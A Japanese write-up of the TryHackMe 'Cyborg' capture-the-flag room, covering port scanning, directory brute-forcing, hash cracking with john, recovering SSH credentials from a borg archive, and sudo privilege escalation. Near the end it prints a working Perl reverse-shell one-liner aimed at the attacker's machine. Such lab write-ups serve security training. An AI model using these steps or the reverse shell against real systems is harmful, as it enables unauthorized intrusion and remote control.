🌐
TryHackMe: [cyborg] write up
ROOM[cyborg]
room info
url: https://tryhackme.com/room/cyborgt8
os: linux
0. 準備
export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく
1. nmap
nmap -sC -sV -oA cyborg -Pn $RIP
結果
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2. dirb
gobuster dir -u http://$RIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
/.hta (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/admin (Status: 301) [Size: 310]
/etc (Status: 301) [Size: 308]
/index.html (Status: 200) [Size: 11321]
/server-status (Status: 403) [Size: 276]
3. walkthrough http
downloadからarchive.tarをDownload
borg mount -o uid=$UID,umask=077 ./final_archive ./fam
してみるも、パスワードが必要っぽい
http://$RIP/etc/squid/passwd
でcrackできそうなhashを発見
johnでcrackして
squidward (music_archive)
を得る、これをmount時入力で無事music_archiveを復元
homeに
alex:S3cretP@s3
を発見
4. ユーザーシェル
ssh $RIP -l alex
# パスワード S3cretP@s3 を入力でssh成功
5. Privileges Escalation
LinEnum.shを実行( sudo -l
で十分だけど )
User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
なので /etc/mp3backups/backup.sh
をうまくやればsudo取れそう
コードを読むと-cで引数渡してそれを実行してくれるっぽいので
/etc/mp3backups/backup.sh -c /bin/bash
perl -e 'use Socket;$i="攻撃マシンのIP";$p=攻撃マシンのReverseshellを待ってるPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
(攻撃マシン側では nv -lvnp $LPORT
しておく)
Discussion